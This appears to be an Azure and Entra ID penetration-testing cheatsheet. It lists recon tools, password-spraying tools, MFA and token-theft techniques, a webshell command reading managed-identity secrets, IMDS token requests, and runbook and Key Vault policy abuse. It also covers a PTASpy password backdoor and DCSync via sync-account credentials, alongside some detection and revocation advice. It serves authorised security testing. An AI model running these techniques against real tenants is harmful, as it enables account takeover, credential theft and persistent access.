Azure Pentest
Azure Pentest
Recon / Discovery
host -a client.com
nslookup x.x.x.x
nmap -Pn -p- -sV -vv -A -sS client.com
Shodan (shodan.io)
Censys (censys.io)
Threat Crowd (https://www.threatcrowd.org)
https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/
https://microsoft.github.io/Azure-Threat-Research-Matrix/
DNS Records
Leverage DNS records (N, MX, NS, SPF, TXT, CNAME, A) to determine cloud providers and services of a targeted domain/organization.
https://github.com/darkoperator/dnsrecon
https://github.com/lanmaster53/recon-ng
https://github.com/aboul3la/Sublist3r
Azure Netblocks
Public
https://www.microsoft.com/en-us/download/details.aspx?id=56519
US Gov
https://www.microsoft.com/en-us/download/details.aspx?id=57063
Germany
https://www.microsoft.com/en-us/download/details.aspx?id=57064
China
https://www.microsoft.com/en-us/download/details.aspx?id=57062
https://github.com/nccgroup/cloud_ip_ranges
ADFS
AUTH
Page 1 of 42
Okta
ping
SSO
STS
Oauth
OpenId
SAML
WS
https://enterpriseregistration.windows.net/company.com/enrollmentserver/contract?api-version=1.4
Leak credentials
Bitbucket, GitLab, Github, Gerrit, GitBlit, Azure Repo, Docker Hub, Git, SVN...
gitleaks (https://github.com/zricethezav/gitleaks)
trufflehog (https://github.com/trufflesecurity/truffleHog)
git-secrets (https://github.com/awslabs/git-secrets)
shhgit (https://github.com/eth0izzle/shhgit)
gitrob (https://github.com/michenriksen/gitrob)
Less protected and greater chance to find secrets or leaked access keys
SharpCloud
SharpCloud is a simple C# utility for checking for the existence of credential files related to Amazon Web Services, Microsoft Azure, and Google Compute.
SharpCloud.exe azure
https://github.com/chrismaddalena/SharpCloud
Certificate Transparency
Identify cloud services, assets and nameserver records via certificate transparency logs and DNS records.
--> https://crt.sh/
--> https://censys.io/certificates
--> https://ui.ctsearch.entrust.com/ui/ctsearchui
Page 2 of 42
"database.windows.net" site:pastebin.com
Web.config file
In case organization use ADFS for authentication against office365/Azure we can try to access IDP initiate signon page.
IDP Initiated Signon page displays all the applications integrated with ADFS.
https://sts.company.com/adfs/ls/idpinitiatedsignon.aspx
User enumeration
https://login.microsoftonline.com/company.com/v2.0/.well-known/openid-configuration
https://login.microsoftonline.com/getuserrealm.srf?login=username@company.com&xml=1
This will give back the tenant ID
Azure endpoint
https://login.microsoft.com/common/oauth2/token
--> Endpoint will tell if a user exist or not
--> Check on Google and other browser for tenant-id or subscription-id, it could lead to github repo for example containing other potential secrets.
OneDrive enumeration
https://github.com/nyxgeek/onedrive_user_enum
https://www.trustedsec.com/blog/achieving-passive-user-enumeration-with-onedrive/
OneDrive users have a file share URL with a known location:
--> https://company-my.sharepoint.com/personal/john_doe_company_com/_layouts/15/onedrive.aspx
Note: Users that are valid but who have not yet signed into OneDrive will return a 404 not found.
Note: Does not attempt a login and is much more passive, and should be undetectable to the target org. Microsoft will see the hits, but the target org
won't
AADInternals
https://github.com/Gerenios/AADInternals
https://o365blog.com/aadinternals/
Get tenant name, authentication, brand name (usually same as directory name) and domain name
Page 3 of 42
PS C:\ > Invoke-AADIntReconAsOutsider -DomainName company.com
redis.cache.windows.net Databases-Redis
documents.azure.com Databases-Cosmos DB
database.windows.net Databases-MSSQL
mail.protection.outlook.com Email
sharepoint.com SharePoint
azureedge.net CDN
https://github.com/NetSPI/MicroBurst
--> Edit the permutations.txt to add permutations such as career, hr, users, file and backup
Enumerate Azureblobs
Page 4 of 42
Access Policy in Blob/Containers:
Blob : Anyone can anonymously read blobs, but can't list the blobs in the container.
Container ; Allows for listing containers and blobs.
Cloud_Enum
Cloud_enum tool permits to enumerate Azure Storage accounts, blob containers, hosted DBs, VM and WebAps.
https://github.com/initstring/cloud_enum
CloudBrute
https://github.com/0xsha/CloudBrute
In case container is set to container access policy and allows for listing.
We can list blob within a known container using the following API endpoint:
https://STORAGENAME.blob.core.windows.net/CONTAINERNAME?restype=container&comp=list
--> POTENTIAL PROJECT DEV PYTHON TO REQUEST AZURE API FOR BLOB, CONTAINER... ONCE we have a valid storage for exemple
company.blob.core.windows.net
https://docs.microsoft.com/en-us/rest/api/storageservices/list-containers2
GreyHatWarfare
https://buckets.grayhatwarfare.com/
Dorks
site:azurewebsites.net
https://github.com/securethelogs/ZorkAzure
https://github.com/lutzenfried/CloudScraper
Page 5 of 42
cloudapp.azure.com (Azure Cloud App)
CloudScraper is a Tool to spider and scrape targets in search of cloud resources. Plug in a URL and it will spider and search the source of spidered pages.
https://godiego.co/posts/STO/
3. Azure VM : cloudapp.azure.com
https://github.com/LMGsec/o365creeper
https://github.com/lutzenfried/OffensiveCloud/blob/main/Azure/Tools/azurec.sh
Password spraying
https://github.com/SecurityRiskAdvisors/msspray
https://github.com/optiv/Go365
Password spray tool for Azure services against multiple endpoint.
https://github.com/dafthack/MSOLSpray
Password spraying tool for Microsoft Online accounts (Azure/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't
exist, if a user doesn't exist, if the account is locked, or if the account is disabled. (Use updated version Nov 2021)
https://github.com/MarkoH17/Spray365
Spray365 is a password spraying tool that identifies valid credentials for Microsoft accounts (Office 365 / Azure AD).
Spray365 enables passwords to be sprayed from an "execution plan".
Password spraying using credmaster and AWS API gateway as a pass-through HTTP proxy
Page 6 of 42
CredMaster$ python3 credmaster.py --plugin o365enum --access_key XXXXXXX --secret_access_key XXXXXXX -u emailsMcMill
https://danielchronlund.com/2022/01/07/the-attackers-guide-to-azure-ad-conditional-access/
--> The Roadrecon tool (dirkjanm) is capable of gathering and parsing Condtional Access Policies (Azure AD account required.)
https://www.trustedsec.com/blog/common-conditional-access-misconfigurations-and-bypasses-in-azure/
https://misconfig.io/bypass-the-cloud-azure-ad-condtional-access-scenario/
Bypassing MFA
https://github.com/silverhack/donkeytoken
Use Guest wireless network: MFA users don’t need to accept an MFA request each time they log in to a cloud workload if they are working from a trusted
location.
The below technique is not working anymore but can still be tested in case some conditional access policy allow authentication from PowerShell without MFA.
$credential = Get-Credential
Connect-AzAccount -Credential $credential
PRT Attack
Type 1: Pass the cookie. By stealing a newly attacker generated PRT cookie from the victim’s computer and use this PRT cookie to fetch access token from
Azure AD
Type 2: Pass the PRT. By stealing the PRT and session/derived key from LSASS on victim’s computer and generate a PRT cookie on attacker computer. Use this
cookie to fetch an access token from Azure AD.
https://www.blackhillsinfosec.com/exploiting-mfa-inconsistencies-on-microsoft-services/
https://www.slashadmin.co.uk/bypass-mfa-for-azure-runbooks/
TeamFiltration is a cross-platform framework for enumerating, spraying, exfiltrating, and backdooring O365 AAD accounts.
https://github.com/Flangvik/TeamFiltration
Page 7 of 42
https://github.com/Flangvik/TeamFiltration/wiki/TeamFiltration
https://trustedsec.com/blog/the-triforce-of-initial-access
http://169.254.169.254/metadata
GET 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' HTTP/1.1 Metadata:
true
--> Then Token can be used directly with Azure REST API
Enterprise Apps
App Services
Great Specterops Blog from Andy Robbins about Abusing Azure App Service Managed Idendity
Azure App Service is an HTTP-based service for hosting web applications, REST APIs, and mobile back ends.
Web App
Function App
Mobile Apps
Linux environnement
Windows environnement
Page 8 of 42
--> App runs inside a sandbox with different isolation level depending on App Service Plan and tarification:
Abuse App Service : vulnerabilities in the code deployed are abusable using classic web application vulnerabilities or business logic flaw.
--> Command Execution within an app service will result in low-privilege execution context based on the worker process permissions.
--> In case the app service use Managed Identity, it would be possible to impersonate and abuse this managed identity and potentially access other Azure
resources.
http://company.azurewebsites.net/uploads/webshell.php?cmd=env
IDENTITY_HEADER=b53d3a04-f0f5-4859-984e-36ab406f80fe
IDENTITY_ENDPOINT=http://169.254.129.2:8081/msi/token
<?php
?>
$token = eyJ0csFS534CJhbGciOiJSFDZAD
Connect-AzAccount -AccessToken $token -AccountId 064423R237-dzef-45gt-25ko-dzeji56j32
--> Using Managed Identity we cannot use Get-AZRoleAssignment for example, we need to use APIs such as Azure Resource Manager or graph.
List all resources accessible for the managed identity using management API
$Token = 'eyJ0eX..'
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-
8c11-d52d5d388768/resources?api-version=2020-10-01'
OR
Define the URI for Virtual Machine permission for the managed identity using management API
$URI = 'https://management.azure.com/subscriptions/frgr565frjzl4l4/resourceGroups/Production/providers/Microsoft.Com
OR
Define the URI for keyvaults permission check using management API
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/prov
Request permission
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
Page 9 of 42
actions notActions
------- ----------
{*/read} {}
{Microsoft.Compute/virtualMachines/runCommand/action} {}
$Token = 'eyJ0eX..'
$URI = ' https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
Logic Apps
https://www.netspi.com/blog/technical/cloud-penetration-testing/illogical-apps-exploring-exploiting-azure-logic-apps/
In order to perform actions related to the defined workflow a Logic App would need to be authenticated and authorized to the Azure service.
Most Logic App actions provide input parameters for users to provide arguments, like a URL or a file name. In some cases, these inputs include authentication
details.
$allLogicApps = Get-AzLogicApp
foreach($app in $allLogicApps){
$appName = $app.Name.ToString()
$actions = ($app.Definition.ToString() | ConvertFrom-Json | select actions).actions
#App definition is returned as a Newtonsoft object, have to manipulate it a bit to get all of the desired output
$noteProperties = Get-Member -InputObject $actions | Where-Object {$_.MemberType -eq "NoteProperty"}
foreach($note in $noteProperties){
$noteName = $note.Name
$inputs = ($app.Definition.ToString() | ConvertFrom-Json | Select actions).actions.$noteName.inputs
}
$params = $app.Definition.parameters
}
Another way to provide Logic Apps with authentication is by using API Connections. Each API connection will pertain to a certain Azure service such as Blob
Storage or Key Vaults, or a third-party service like SendGrid.
1. An administrator creates the Encrypt-My-Data-Logic-App and gives it an API connection to the Totally-Secure-Key-Vault
2. A Logic App Contributor creates a new Logic App with that API connection
3. The new Logic App will list all secrets in the Key Vault and dump them out
4. The attacker fetches the dumped secrets from the Logic App output and then deletes the app
1. In your own Azure tenant, create a Logic App (LA) replicating the functionality that you want to achieve and place the definition into a file. (This step is
manual)
2. Get the details of the target API Connection
Page 10 of 42
3. Plug the connection details and the manually created definition into a generic LA template
4. Create a new LA with your malicious definition
5. Retrieve the callback URL for the LA and trigger it to run
6. Retrieve any output or errors
7. Delete the LA
Function Apps
Unsecured storage
https://www.netspi.com/blog/technical/cloud-penetration-testing/lateral-movement-azure-app-services/
--> Check if the service principal for the managed identity of the compromised application has any interesting permissions on other Azure resources.
You can use Add-AzADAppSecret.ps1 which try to add a secret to any enterprise application. If it success, this means the current Service Principal has
permission over this Enterpise Application.
PS C:\> . .\Add-AzADAppSecret.ps1
PS C:\> Add-AzADAppSecret -GraphToken $graph -Verbose
Phishing
--> Starting in November 2020, end-users will no longer be able to grant consent to most newly registered multi-
tenant apps without verified publishers if risk-based step-up consent is enabled. This will apply to apps that
are registered after November 8th 2020, use OAuth2.0 to request permissions beyond basic sign-in and read user
profile, and request consent from users in different tenants than the one the app is registered in. A warning
will be displayed on the consent screen informing users that these apps are risky and are from unverified
publishers.
In an illicit consent grant attack, the attacker creates an Azure-registered application that requests access to data such as contact information, email, or
documents. The attacker then tricks an end user into granting consent to the application so that the attacker can gain access to the data that the target user
has access to.
Page 11 of 42
--> One of the best Article on the subject, one of the very few to underline the limitation that implemented by Microsoft: https://www.riskinsight-
wavestone.com/en/2023/03/illicit-consent-grant-attacks-targeting-azure-and-office-365-still-a-threat/
--> Tool :
https://github.com/AlteredSecurity/365-Stealer.git
https://github.com/mdsecactivebreach/o365-attack-toolkit
https://www.alteredsecurity.com/post/introduction-to-365-stealer
https://www.youtube.com/watch?v=51FSvndgddk&list=WL
https://positivethinking.tech/insights/what-is-an-illicit-consent-grant-attack-in-office-365/
https://www.proofpoint.com/us/blog/threat-insight/ta2552-uses-oauth-access-token-phishing-exploit-read-only-risks
https://www.mdsec.co.uk/2019/07/introducing-the-office-365-attack-toolkit/
https://www.cloud-architekt.net/detection-and-mitigation-consent-grant-attacks-azuread/
https://redblueteam.wordpress.com/2021/04/12/microsoft-office-365-oauth-phishing-demo/
Respond:
https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/detect-and-remediate-illicit-consent-grants?view=o365-worldwide
https://blog.thoughtstuff.co.uk/2020/11/end-users-can-no-longer-grant-consent-to-unverified-multi-tenant-apps-what-this-means-for-you/?
fbclid=IwAR3PAwBKWFGcW04Vfq6NOMta7tMG0a4F-9T_AAl8nrnqdiZUgsjgbmpzBWw
https://docs.microsoft.com/en-us/azure/active-directory/develop/publisher-verification-overview#benefits
https://docs.microsoft.com/en-us/azure/active-directory/manage-apps/configure-user-consent?tabs=azure-portal#risk-based-step-up-consent
https://stackoverflow.com/questions/66387268/microsoft-multi-tenant-app-as-an-individual-developer-azure-active-directory
https://0xboku.com/2021/07/12/ArtOfDeviceCodePhish.html
https://www.youtube.com/watch?v=4J4RT4oMYdA
Practical Considerations:
Page 12 of 42
https://www.blackhillsinfosec.com/dynamic-device-code-phishing/
https://github.com/secureworks/PhishInSuits
https://github.com/secureworks/squarephish?tab=readme-ov-file
https://blog.compass-security.com/2024/01/device-code-phishing-add-your-own-sign-in-methods-on-entra-id/
https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/
To enhance defensive measures against phishing and abuse of primary refresh tokens, devices must be managed through Mobile Device Management (MDM) or
Mobile Application Management (MAM). This will involve implementing a Conditional Access policy that mandates the use of compliant or hybrid-joined
devices.
To meet this policy, any newly registered device must also be enrolled in Intune. If Intune is properly secured to prevent the enrollment of non-corporate or
fraudulent devices, these newly registered devices will fail to achieve compliance, thus not meeting policy requirements.
Detection: Use a KQL query to monitor for the AuthenticationProtocol "deviceCode" and AppId "29d9ed98-a469-4536-ade2-f981bc1d605e" (Microsoft
Authentication Broker).
https://github.com/secureworks/family-of-client-ids-research
When a user principal is invited as a B2B guest in a different Azure AD tenant, the following interactions occur with refresh tokens:
1. User Principal
2. Tenant A
3. Tenant B
Anomalous Client Applications: Both Tenant A and Tenant B contain applications identified as anomalous, which may pose security risks.
Token Abuse Potential: Refresh tokens issued in Tenant A can be misused in Tenant B, allowing unauthorized access to sensitive resources.
+--------------------+ +-----------------------+
| User Principal | | Azure AD Tenant B |
| (B2B Guest Invited)| | (Anomalous Apps) |
+--------------------+ +-----------------------+
| |
| |
v v
+------------------------+ +--------------------------+
| Azure AD Tenant A | | Anomalous Client Apps |
| (Refresh Tokens Issued)|<--------------| (Accessed with Tokens) |
| (15 Anomalous Apps) | +--------------------------+
+------------------------+
Access tokens cannot be revoked. Access tokens are short-lived and by default valid for 1 hour. The only solution is to revoke refresh tokens.
Using Azure AD PS module (deprecated but still working as of October 21, 2024)
Revoke-AzureADUserAllRefreshToken cmdlet
Page 13 of 42
Using Azure AD PS module (deprecated but still working as of October 21, 2024)
Revoke-AzureADSignedInUserAllRefreshToken
Invoke-MgInvalidateUserRefreshToken
Using MSGraph API PS Module with Graph Request and API endpoint
Using MSGraph API PS Module with Graph Request and API endpoint
Revoke-MgUserSignInSession
For defensive approach : Deploy CA policy which enforces SignInFrequency (refresh token max lifetime)
For applications that use session tokens, the existing sessions end as soon as the token expires. If the disabled state of the user is synchronized to
the application, the application can automatically revoke the user's existing sessions if it's configured to do so. The time it takes depends on the
frequency of synchronization between the application and Microsoft Entra ID.
Authenticated enumeration
Enumerate Entra ID Tenant and related informations (Subscriptions, domains, users, App registrations, Entreprise App)
Enumerate admins roles and role membership to identify high value targets
Enumerate resources (VM, Azure function...)
Enumerate if ADFS in use (Persistence usage or Golden SAML)
Enumerate App Registration and Service principals in use as well as permissions related for potential abuses
Enumerate conditional access policies
Enumerate dynamic group membership
Enumerate UAL log settings (Unified Audit Logs)
Enumerate your current access to M365 (Onedrive files, outlook, Sharepoint sites...)
Enumerate Storage Accounts / Key vaults
Page 14 of 42
Enumerating Resource Groups and Resources
Enumerating resource group and VMs from within the subscription (authenticated)
Get-AADIntAccessTokenForAADGraph -SaveToCache
Get-AADIntServicePrincipals
Get-AADIntServicePrincipals -ClientIDs XXXXXX-XXXXX-XXXX-XXX-XXXXXXX
Conditional access policies define how access is controlled when a user/device (now service principals) is controller when a user tries to access a resource.
Policies are defined based on a serie of signals (Microsoft Term).
https://learn.microsoft.com/en-us/powershell/module/azuread/get-azureadmsconditionalaccesspolicy
Import-Module AzureAD
PS C:\> Get-AzureADMSConditionalAccessPolicy
Get-AADIntSyncConfiguration
https://github.com/NotSoSecure/cloud-service-enum
Refresh Token can be used to request new access token using AADInternals.
Blob Hunter
BlobHunter helps you identify Azure blob storage containers which store files that are publicly available to anyone with an internet connection.
Owner
Contributor
Or any Azure user with a role that allows to perform the following Azure actions:
Microsoft.Resources/subscriptions/read
Microsoft.Resources/subscriptions/resourceGroups/read
Microsoft.Storage/storageAccounts/read
Microsoft.Storage/storageAccounts/listkeys/action
Microsoft.Storage/storageAccounts/blobServices/containers/read
Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
python3 BlobHunter.py
python3 BlobHunter.py
Page 15 of 42
Get array of users / roles (Azure AD module)
$roleUsers = @()
$roles=Get-AzureADDirectoryRole
ForEach($role in $roles) {
$users=Get-AzureADDirectoryRoleMember -ObjectId $role.ObjectId
ForEach($user in $users) {
write-host $role.DisplayName,$user.DisplayName
$obj = New-Object PSCustomObject
$obj | Add-Member -type NoteProperty -name RoleName -value ""
$obj | Add-Member -type NoteProperty -name UserDisplayName -value ""
$obj | Add-Member -type NoteProperty -name IsAdSynced -value false
$obj.RoleName=$role.DisplayName
$obj.UserDisplayName=$user.DisplayName
$obj.IsAdSynced=$user.DirSyncEnabled -eq $true
$roleUsers+=$obj
}
}
$roleUsers
https://github.com/0xJs/CARTP-cheatsheet/blob/main/Authenticated-enumeration.md
Access portal.azure.com and go to Azure Active Directory to get list of all group/users
O365 Global Address List has this info also
If access is locked, try PowerShell cmdlets, likely to work
Compagny wide setting locking down the entire org from viewing Azure info via cmd line:
Once credentials are recovered we can try to use them to explore Azure storage account using Storage Explorer tool.
https://azure.microsoft.com/en-us/features/storage-explorer/
It is also possible to use multiple cli modules for authenticated and unauthenticated enumeration.
https://github.com/lutzenfried/OffensiveCloud/blob/main/Azure/Azure%20Command%20Line%20CheatSheet.md
AzureStealth will help you to identify over privileged user and shadow admin within your Azure environment.
--> AzureStealth needs only Read-Only permissions over the scanned Azure Directory (Tenant) and Subscription.
https://github.com/cyberark/SkyArk
https://github.com/DanielChronlund/DCToolbox
https://helloitsliam.com/2021/11/18/azure-active-directory-account-enumeration/
Lets a guest user enumerate users and security groups/teams when 'Guest user access restrictions' in Azure AD is set to the default configuration.
Page 16 of 42
PC C:\> import-module .\DCToolbox.psm1
PS C:\> Connect-AzureAD -TenantId "87234584-8633-43deb-b294-b383c385dd5"
o365 enumeration
https://github.com/nyxgeek/o365recon
Install-Module AADInternals
Import-Module AADInternals
Get-AADIntServicePrincipals
AccountEnabled : true
Addresses : Addresses
AppPrincipalId : 797f4846-ba00-4fd7-ba43-dac1f8f63013
DisplayName : Windows Azure Service Management API
ObjectId : 3a01d5f9-d42c-4666-8442-51873b3dc0d2
ServicePrincipalNames : ServicePrincipalNames
TrustedForDelegation : false
AccountEnabled : true
Addresses : Addresses
AppPrincipalId : fc780465-2017-40d4-a0c5-307022471b92
DisplayName : WindowsDefenderATP
ObjectId : 62a7a0fb-1072-4546-80da-9f2d5512ae69
ServicePrincipalNames : ServicePrincipalNames
TrustedForDelegation : false
365 Inspect
https://github.com/soteria-security/365Inspect
PowerShell script that automates the security assessment of Microsoft Office 365 environments.
PS C:\> .\365Inspect.ps1 -OrgName mycompany -OutPath ..\365_report -Auth CMDLINE -Username "first.last@mycompany.com
Get-MsolRolesAndMembers
Retrieve the list of current roles and associated role members in an Office 365 Tenant.
https://gist.github.com/ciphertxt/2036e614edf4bf920796059017fbbc3d
$admins=@()
Page 17 of 42
$roles = Get-MsolRole
$admins += $roleOutput
}
}
Azure Function
Enumerates any Azure Function looking for plaintext values added as environment variables or connection strings within source code.
Azurite
2 scripts :
Azurite Explorer
Azurite Visualizer
--> https://github.com/mwrlabs/Azurite
AzureHound (Bloodhound)
AzureHound uses the “Az” Azure PowerShell module and “Azure AD” PowerShell module for gathering data within Azure and Azure AD.
https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/AzureHound.ps1
Connect-AzAccount
Import-Module ./AzureHound.ps1
Invoke-AzureHound
Linux usage
--> You will first need to get a refresh token in case your account use MFA. Check Bloodhound doc
wget https://github.com/BloodHoundAD/AzureHound/releases/download/v2.0.4/azurehound-linux-amd64.zip
unzip azurehound-linux-amd64.zip
./azurehound -r REFRESHTOKEN list --tenant "domaine.com" -o output_azurehound.json
Then you only need to import the JSON file within BloodHound to start discovering potential attack path.
--> Azure hound custom queries from Hausec
ROADTool
ROADrecon is a tool for exploring information in Azure AD from both a Red Team and Blue Team perspective. (Python)
Page 18 of 42
--> Use version 1.61-internal of Azure AD Graph API.
https://github.com/dirkjanm/ROADtools
https://github.com/dirkjanm/ROADtools/wiki/Getting-started-with-ROADrecon (WIKI)
--> Roadtools can also be used for lateral movement with differents tokens and cookies:
PRT cookie
Direct access/refresh token
Monkey365
https://github.com/silverhack/monkey365
Azure subscriptions and Azure Active Directory security configuration reviews.
Import-Module monkey365
Get-Help Invoke-Monkey365 -Examples
https://github.com/AzureAD/AzureADAssessment
CloudSploit - AquaSecurity
https://github.com/aquasecurity/cloudsploit
CloudSploit by Aqua is an open-source project designed to allow detection of security risks in cloud infrastructure accounts, including: Amazon Web
Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub
Scoutsuite
https://github.com/nccgroup/ScoutSuite
https://github.com/nccgroup/ScoutSuite/wiki/Azure
Open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments.
az login
python3 scout.py azure -c
MicroBurst
https://github.com/NetSPI/MicroBurst
https://github.com/NetSPI/MicroBurst/wiki
#Authencticated enumeration
Stormspotter
https://github.com/Azure/Stormspotter
Start backend:
Run collector
cd stormcollector/
pipenv shell
Page 19 of 42
az login -u jdoe@company.com -p Password123
python3 sscollector.pyz cli
CS-Suite
https://github.com/SecurityFTW/cs-suite
CIS scanner
https://github.com/kbroughton/azure_cis_scanner
Key vaults
Exploitation
CloudShell exploitation
https://www.netspi.com/blog/technical/cloud-penetration-testing/attacking-azure-cloud-shell/
Information disclosure
--> By default, all subscription Contributor accounts will have read/write access to all subscription Storage Accounts, unless otherwise restricted.
--> October 6 - 2022 : Microsoft fixed and patched the vulnerability – Now requiring an Authorization token in the request Header for each notebook session.
https://orca.security/resources/blog/cosmiss-vulnerability-azure-cosmos-db/
Automation accounts 1
Azure's automation service that allows to automate tasks for Azure resources, on-prem infra and also other cloud providers.
RunBooks
Configuration Management
Page 20 of 42
Update Management
Shared resources
If a user has Contributor role over an automation account, it is possible to create and execute RunBooks.
Automation accounts 2
Azure Automation accounts support automation of various tasks in Azure Resource Manager. Using Automation Accounts Runbooks, you can execute scripts
to manage tenant resources across all regions and subscriptions in the tenant.
Recon
Require the following permission :
Microsoft.Automation/automationAccounts/read
Compromise
--> Attacker will attempt to create and run a new runbook under this account.
Microsoft.Automation/automationAccounts/runbooks/write
Microsoft.Automation/automationAccounts/jobs/write
PUT https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microso
"properties": {
"logVerbose": false,
"logProgress": true,
"runbookType": "PowerShellWorkflow",
"publishContentLink": {
"uri": "runbook content URI",
"contentHash": {
"algorithm": "SHA256",
"value": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
}
},
"description": "Description of the Runbook",
"logActivityTrace": 1
},
"name": "RunBookName",
"location": "East US 2"
}
Note: There are also CLI commands to create runbooks, but currently those commands require different permissions.
PUT https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microso
"properties": {
"runbook": {
"name": "TestRunbook"
},
"parameters": {
"key01": "value01",
"key02": "value02"
},
"runOn": ""
}
}
Page 21 of 42
--> Modifying Key Vault policy.
Microsoft.KeyVault/vaults/accessPolicies/write
This permission allows the attacker to create a new policy for the desired key vault using the following Rest API:
PUT https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microso
"properties": {
"accessPolicies": [
{
"tenantId": "00000000-0000-0000-0000-000000000000",
"objectId": "00000000-0000-0000-0000-000000000000",
"permissions": {
"keys": [
"encrypt"
],
"secrets": [
"get"
]
}
}]
}
}
Deployment templates
Administrative Unit
Lateral movement
Lateral movement Graph for AzureAD
AzureADLateralMovement data collector. The tool is useful for blue teams, with some admin permissions to collect Azure AD Graph data (i.e logons events).
https://medium.com/@talthemaor/lateral-movement-graph-for-azure-ad-7c5e0136e2d8
PowerZure
https://github.com/hausec/PowerZure
https://powerzure.readthedocs.io/en/latest/
PowerZure is a PowerShell project that use AZ PowerShell module created to assess and exploit resources within Microsoft’s cloud platform.
PS C:\> Connect-AzAccount
PS C:\> Import-Module .\Powerzure.psd1
PS C:\> Get-AzureTargets
Page 22 of 42
password_reset_tab
https://blog.xpnsec.com/identity-providers-redteamers/#more
https://github.com/Gerenios/AADInternals/blob/master/PTASpy.ps1
https://aadinternals.com/post/pta/
--> If attacker compromised an account with Hybrid Identity Administrator rights, he will be able to install pass through authentication agent on its own
system.
PRT
Primary Refresh Token can be used to authenticate to any application and is thus even more valuable compare to classic access token and refresh token with
limited oauth scope. This is why Microsoft has applied extra protection to this token. The most important protection is that on devices with a TPM, the
cryptographic keys are stored within that TPM. If a TPM is present, the keys required to request or use the PRT are protected by the TPM and can’t be extracted
under normal circumstances.
TPM is optional of course and if no TPM is used the keys are stored in software, and in this scenario we can recover them from the OS with the right privileges.
ROADrecon it is possible to do the regular data gathering. But that is not all, these tokens can be used to access the Azure AD Graph or Microsoft Graph and
access user information (OneDrive/SharePoint files, emails) or even make modifications to accounts and roles in Azure AD depending on the privileges of the
user involved
PRT is valid for 14 days and is continuously renewed as long as the user actively uses the device
Page 23 of 42
Now we have everything we need to sign our own PRT Cookies and the rest of these steps can be done from any other system.
--> You should now be authenticated as that user without having to know their password, or handle any MFA prompts.
3 attack paths
Retrieve session key from LSASS to sign PRT cookie (JWT) (require local admin access)
Credentials/MFA phishing (refresh token) followed by device registration to obtain the PRT
Device code phishing with clientID for Microsoft Authentication Broker
This kind of phishing allow you to obtain specific refresh token and to:
Register a device
Request a PRT
Use the PRT within any resource of the phished user (Teams, Outlook, OneDrive, Azure Portal…)
--> Breaking the OAuth 2.0 safeguard and restrictions
Enroll WHFP keys and obtain persistence on the phished account
Tools:
https://github.com/dirkjanm/ROADtools
https://github.com/kiwids0220/deviceCode2WinHello
https://github.com/CompassSecurity/deviceCode2SecurityKey
https://github.com/secureworks/squarephish
When PHS is configured some privileged accounts are created: MSOL_installationID on prem-AD.
--> Account have Directory Synchronization Accounts role
--> Has dcsync right on on-prem AD (Replicating Directory Changes / Replicating Directory Changes All)
--> An account is created in AzureAD: Sync_ _installationID
Passwords of the two previous privileged accounts are stored in a SQL server on the server where Azure AD Connect is installed. Admins can extract the
passwords of those privileged users in clear-text.
Once the Azure AD connect server is compromised you can extract credentials.
Using AADInternals (Get-AADIntSyncCredentials)
OR
Mimikatz
--> Using the creds of MSOL_* account, you can run DCSync against the on-prem AD (get access to all hashes in on-prem AD LM/NTLM, pass the hash, crack
the hashes)
IF I want to compromise AzureAD account now, I will use the Sync_installationID account
Compromising the Sync* account it's possible to reset the password of any user (including Global Administrators)
Require admin access on the ADConnect server with the PTA Agent running
2 options
Option 1:
Insert a backdoor that will validate ALL the passwords introduced (so all passwords will be valid for authentication) d'ou le nom skeleton key (pass key - pass
partout) (tool: PTASpy)
Option 2:
It's also possible to see the clear-text passwords sent to PTA agent
Get-AADIntPTASpyLog -DecodePasswords
Page 24 of 42
3. Injects PTASpy.dll to AzureADConnectAuthenticationAgentService process
On ADFS Host extract 2 pieces of cryptographic materiel. X509 Token siging certificate used by the ADFS server to prove its authenticiy à l'application qui lui
demande de s'authentifier. Et la pivate key qui unlock the encrypted token signing certiificate stored in Distritbuted Key Management service associted with
the ADFS service account.
Bypass MFA
https://mrd0x.com/stealing-tokens-from-office-applications/
directly extracting acces tokens from a memory dump or memory of running process. eyJ0eX - JWT Recognizing pattern. Potentially will find multiple JWT
Tokens with different audience (specified by the aud claim within the payload part of the JWT).
api.office.net
messaging.engagement.office.com
substrate.office.com
outlook.office365.com
https://www.youtube.com/watch?v=uKDS2t9_KsA
https://securitylabs.datadoghq.com/articles/azure-policy-privilege-escalation/
https://drive.google.com/file/d/1lhfPzz3kUMqvmhZFr_t84iCMd5f4m5mh/view
Page 25 of 42
During authenticated session with the Az Powershell module a TokenCache.dat file gets generated. (https://github.com/Azure/azure-powershell/issues/9649)
--> You can also try to save the current access token.
--> If admin privileges you can also process dump PowerShell for tokens.
$Token = 'eyJ0eXAi..'
$URI = 'https://graph.microsoft.com/v1.0/users'
$RequestParams = @{
Method = 'GET'
Uri
= $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
If you’re a local admin on an Azure VM, run the Get-AzureVMExtensionSettings script from MicroBurst to decrypt VM extension settings and potentially view
sensitive parameters, storage account keys and local Administrator username and password.
https://www.netspi.com/blog/technical/cloud-penetration-testing/decrypting-azure-vm-extension-settings-with-get-azurevmextensionsettings/
The Custom Script Extension is particularly interesting as it downloads a script from a user-specified location (e.g. URL, blob storage, etc.) and then executes
